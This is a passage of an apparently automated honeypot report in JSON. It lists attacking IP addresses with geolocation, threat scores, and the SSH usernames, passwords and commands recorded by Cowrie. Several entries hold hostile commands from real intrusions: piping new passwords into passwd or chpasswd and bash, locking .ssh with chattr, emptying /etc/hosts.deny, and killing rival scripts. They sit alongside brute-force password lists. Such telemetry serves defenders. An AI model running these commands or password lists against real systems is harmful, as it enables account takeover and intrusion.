      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:56:48.607000+00:00",
        "last_seen_30d": "2026-05-04T17:44:16.938000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "103.189.234.9": {
      "attack_count": 213,
      "first_seen": "2026-05-29T20:20:51.533Z",
      "last_seen": "2026-05-29T20:45:56.441Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "opc",
        "oussama",
        "lekaren",
        "test_user",
        "tim",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz2wsx",
        "12345",
        "123qwe",
        "Aa12345",
        "Asd12345678",
        "Newpassword123!",
        "Zxcv123456",
        "a123123.",
        "aaa123123",
        "dd",
        "lekaren",
        "oussama",
        "q1w2e3r4t5y6"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nvUSLkGOBs50B\\nvUSLkGOBs50B\\n\"|passwd",
        "echo \"oussama\\nsNNcW2W9WFuw\\nsNNcW2W9WFuw\\n\"|passwd",
        "echo -e \"12345\\nvUSLkGOBs50B\\nvUSLkGOBs50B\"|passwd|bash",
        "echo -e \"oussama\\nsNNcW2W9WFuw\\nsNNcW2W9WFuw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T20:20:51.533000+00:00",
        "last_seen_30d": "2026-05-29T20:47:02.598000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 43
      }
    },
    "121.56.45.214": {
      "attack_count": 208,
      "first_seen": "2026-05-20T18:55:59.838Z",
      "last_seen": "2026-05-21T06:25:20.515Z",
      "sessions": 104,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:55:59.838000+00:00",
        "last_seen_30d": "2026-05-21T06:26:26.176000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 208,
        "Suricata": 106
      }
    },
    "103.54.101.216": {
      "attack_count": 187,
      "first_seen": "2026-05-31T07:24:31.425Z",
      "last_seen": "2026-05-31T07:40:14.733Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "mike",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "1234qwer",
        "147258369",
        "Huawei123!",
        "P@ssword1",
        "adminpassword",
        "mike",
        "qq123456.",
        "redhat",
        "steam123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"adminpassword\\nWBspeqlzTRVE\\nWBspeqlzTRVE\\n\"|passwd",
        "echo \"root:VsJzTdpRZv2o\"|chpasswd|bash",
        "echo -e \"adminpassword\\nWBspeqlzTRVE\\nWBspeqlzTRVE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amb\u0101la",
      "asn": 135848,
      "as_org": "Digitax India Communications Pvt Ltd.",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:24:31.425000+00:00",
        "last_seen_30d": "2026-05-31T07:41:24.189000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "116.59.13.48": {
      "attack_count": 172,
      "first_seen": "2026-05-19T08:16:40.814Z",
      "last_seen": "2026-05-19T17:57:35.116Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 17421,
      "as_org": "Mobile Business Group",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:16:40.814000+00:00",
        "last_seen_30d": "2026-05-19T17:58:36.919000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 86
      }
    },
    "119.98.152.31": {
      "attack_count": 170,
      "first_seen": "2026-05-22T10:15:34.061Z",
      "last_seen": "2026-05-22T20:24:09.543Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:14:32.496000+00:00",
        "last_seen_30d": "2026-05-22T20:25:18.688000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 170,
        "Suricata": 97
      }
    },
    "150.5.169.138": {
      "attack_count": 149,
      "first_seen": "2026-05-28T23:30:35.439Z",
      "last_seen": "2026-05-28T23:57:09.813Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "beehive",
        "deploy",
        "desliga",
        "devuser",
        "mcadmin",
        "rico",
        "under"
      ],
      "passwords_attempted": [
        "!QAZxsw2",
        "123456",
        "159357",
        "1qaz.2wsx",
        "314159265",
        "3245gs5662d34",
        "345gs5662d34",
        "Pi123456",
        "Temp1234",
        "aA@12345678",
        "beehive",
        "desliga",
        "fjbdfdjkdsfs541544",
        "mcadmin",
        "qwer.123456",
        "root",
        "tianyu@123",
        "under"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fjbdfdjkdsfs541544\\nxxsuCaaH49Qr\\nxxsuCaaH49Qr\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nxxsuCaaH49Qr\\nxxsuCaaH49Qr\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T23:30:35.439000+00:00",
        "last_seen_30d": "2026-05-28T23:58:13.623000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 41
      }
    },
    "115.68.208.117": {
      "attack_count": 144,
      "first_seen": "2026-05-24T10:52:24.842Z",
      "last_seen": "2026-05-24T11:46:30.803Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "schueler",
        "345gs5662d34",
        "admin",
        "afzal",
        "alpha",
        "jose",
        "misp",
        "morteza",
        "public",
        "stud1",
        "sysadmin",
        "yaroslav"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "1QAZ2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin_1234",
        "afzal@123",
        "misp",
        "q1234567",
        "qwe123asd",
        "qwerty",
        "schueler",
        "stud1",
        "sysadmin@2023",
        "ubuntu18svm"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"schueler\\n4JqmYVDpD8wz\\n4JqmYVDpD8wz\\n\"|passwd",
        "echo -e \"schueler\\n4JqmYVDpD8wz\\n4JqmYVDpD8wz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:52:24.842000+00:00",
        "last_seen_30d": "2026-05-24T11:47:40.630000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "58.6.206.239": {
      "attack_count": 144,
      "first_seen": "2026-05-22T19:49:31.021Z",
      "last_seen": "2026-05-22T21:58:30.527Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "odoo2",
        "345gs5662d34",
        "tung",
        "ubuntu",
        "yocto"
      ],
      "passwords_attempted": [
        "123456789z",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456.",
        "Admin123123123",
        "Asdf1234.",
        "Cloud@123456",
        "Lc123456",
        "Password01",
        "Salim123",
        "Zxcvbnm123",
        "k9jt3d",
        "lucas",
        "odoo2",
        "radware",
        "tung",
        "yocto"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"odoo2\\ncgB8lp2jWDmJ\\ncgB8lp2jWDmJ\\n\"|passwd",
        "echo -e \"odoo2\\ncgB8lp2jWDmJ\\ncgB8lp2jWDmJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:49:31.021000+00:00",
        "last_seen_30d": "2026-05-22T21:59:38.879000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 49
      }
    },
    "4.213.160.153": {
      "attack_count": 118,
      "first_seen": "2026-05-22T19:18:05.693Z",
      "last_seen": "2026-05-22T19:55:13.027Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "grid",
        "postgres",
        "sammy",
        "test1"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "123@.com",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd1234!@#$",
        "Test123!@#",
        "grid",
        "qaz123..",
        "qwer.1234",
        "root",
        "root2019"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8eU5ixP3s6rN\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:18:05.693000+00:00",
        "last_seen_30d": "2026-05-22T19:56:16.842000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "103.93.160.231": {
      "attack_count": 93,
      "first_seen": "2026-05-29T21:49:05.712Z",
      "last_seen": "2026-05-29T22:13:02.170Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "ubuntu",
        "345gs5662d34",
        "ai",
        "developer",
        "irfan",
        "taher",
        "user11",
        "zhang"
      ],
      "passwords_attempted": [
        "123",
        "123!@#asd",
        "123456",
        "123456Aa!",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "88888888",
        "Pa55w0rd",
        "Qwer+1234",
        "aezakmi",
        "developer2025",
        "dh-qQ3j!soft",
        "irfan",
        "q1w2e3r4",
        "taher",
        "user11"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bogor",
      "asn": 133800,
      "as_org": "PT Biznet Gio Nusantara",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:49:05.712000+00:00",
        "last_seen_30d": "2026-05-29T22:14:03.024000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 39
      }
    },
    "45.194.123.18": {
      "attack_count": 88,
      "first_seen": "2026-05-12T11:41:51.994Z",
      "last_seen": "2026-05-12T12:10:52.778Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo Este",
      "asn": 273824,
      "as_org": "NEXERCOM SRL",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:41:51.994000+00:00",
        "last_seen_30d": "2026-05-12T12:20:55.736000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 50
      }
    },
    "185.135.137.194": {
      "attack_count": 84,
      "first_seen": "2026-05-08T07:13:54.246Z",
      "last_seen": "2026-05-31T10:36:44.777Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 51.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:13:54.246000+00:00",
        "last_seen_30d": "2026-05-31T10:37:53.224000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "62.210.207.172": {
      "attack_count": 72,
      "first_seen": "2026-05-08T03:30:40.633Z",
      "last_seen": "2026-05-29T04:55:02.180Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 46.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.3,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:30:40.633000+00:00",
        "last_seen_30d": "2026-05-29T04:56:05.779000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 37
      }
    },
    "139.135.43.77": {
      "attack_count": 50,
      "first_seen": "2026-05-07T18:45:14.400Z",
      "last_seen": "2026-05-07T18:50:38.843Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:45:14.400000+00:00",
        "last_seen_30d": "2026-05-07T18:51:42.145000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.169.156": {
      "attack_count": 50,
      "first_seen": "2026-05-30T11:47:02.115Z",
      "last_seen": "2026-05-30T11:53:36.734Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:47:02.115000+00:00",
        "last_seen_30d": "2026-05-30T11:54:41.230000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "142.171.144.146": {
      "attack_count": 48,
      "first_seen": "2026-05-08T09:23:48.076Z",
      "last_seen": "2026-05-11T19:53:58.549Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:23:48.076000+00:00",
        "last_seen_30d": "2026-05-11T19:55:06.193000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "115.190.251.242": {
      "attack_count": 45,
      "first_seen": "2026-05-23T06:41:06.949Z",
      "last_seen": "2026-05-23T08:01:53.296Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Abc@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:41:06.949000+00:00",
        "last_seen_30d": "2026-05-23T08:11:58.191000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 33
      }
    },
    "103.73.101.168": {
      "attack_count": 44,
      "first_seen": "2026-05-14T13:34:43.577Z",
      "last_seen": "2026-05-27T07:59:49.801Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 136969,
      "as_org": "KK Networks Pvt Ltd.",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:34:43.577000+00:00",
        "last_seen_30d": "2026-05-27T08:00:57.484000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 22
      }
    },
    "36.255.33.132": {
      "attack_count": 28,
